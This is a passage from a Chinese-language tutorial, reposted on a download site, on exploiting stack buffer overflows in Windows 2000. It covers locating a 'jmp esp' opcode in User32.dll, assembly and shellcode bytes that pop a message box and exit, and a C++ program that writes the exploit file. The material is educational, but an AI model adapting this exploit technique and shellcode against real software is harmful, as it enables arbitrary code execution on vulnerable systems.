⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 windows 2000缓冲区溢出入门.txt

📁 可以对黑客编程有一定的了解
💻 TXT
📖 第 1 页 / 共 2 页
字号:
try 
{ 
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) 
{ 
int pos = (int)ptr + y; 
cout<<"OPCODE found at 0x"<<hex<<pos<<endl; 
} 
} 
catch(...) 
{ 
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; 
done = true; 
} 
} 

if(we_loaded_it) FreeLibrary(h); 
#endif 
} 
return nRetCode; 
} 

    也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED 

    注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。

    首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。)在这里我采用第一种方法。为什么?因为简单嘛。;)

    呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过,后果自负!

    首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下:

push ebp 
push ecx 
mov ebp,esp 
sub esp,54h 
xor ecx,ecx 
mov byte ptr [ebp-14h],'S' 
mov byte ptr [ebp-13h],'u' 
mov byte ptr [ebp-12h],'c' 
mov byte ptr [ebp-11h],'c' 
mov byte ptr [ebp-10h],'e' 
mov byte ptr [ebp-0Fh],'s' 
mov byte ptr [ebp-0Eh],'s' 
mov byte ptr [ebp-0Dh],cl 
mov byte ptr [ebp-0Ch],'W' 
mov byte ptr [ebp-0Bh],'e' 
mov byte ptr [ebp-0Ah],' ' 
mov byte ptr [ebp-9],'G' 
mov byte ptr [ebp-8],'o' 
mov byte ptr [ebp-7],'t' 
mov byte ptr [ebp-6],' ' 
mov byte ptr [ebp-5],'I' 
mov byte ptr [ebp-4],'t' 
mov byte ptr [ebp-3],'!' 
mov byte ptr [ebp-2],cl 
push ecx 
lea eax,[ebp-14h] 
push eax 
lea eax,[ebp-0Ch] 
push eax 
push ecx 
mov dword ptr [ebp-18h],0x 77E23D68 
call dword ptr[ebp-18h] 
mov esp,ebp 
pop ecx 
pop ebp 

    以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这些汇编代码的机器码。方法前面已经介绍过了,不再重复。最后整理得到的机器码为: 

\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45 
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d 
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8 
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd 
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d 

    如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为:

push ebp 
push ecx 
mov ebp,esp 
sub esp,10h 
xor ecx,ecx 
push ecx 
mov dword ptr [ebp-4],0x1020AF90 
call dword ptr[ebp-4] 
mov esp,ebp 
pop ecx 
pop ebp 

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下:

\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d 

现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp; 

using namespace std; 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) 
{ 
int nRetCode = 0; 

// initialize MFC and print and error on failure 
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) 
{ 
cerr << _T("Fatal Error: MFC initialization failed") << endl; 
nRetCode = 1; 
} 
else 
{ 
char buffer[20]; 
//0x77e2e32a //user32.dll JMP ESP 
char eip[] = "\x2a\xe3\xe2\x77"; 
char sploit[] = "\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee" 
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6" 
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45" 
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe" 
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b" 
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff" 
"\x55\xfc\x8b\xe5\x59\x5d"; 

for(int x=0;x<20;x++) 
{ 
buffer[x] = 0x90; 
} 

CFile file; 
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite); 

file.Write(buffer,20); 
file.Write(eip,strlen(eip)); 
file.Write(sploit,strlen(sploit)); 

file.Close(); 
} 

return nRetCode; 
} 

    在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

--[ 后记

    最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点,针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国内对Windows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:(

    这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足了。:)



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -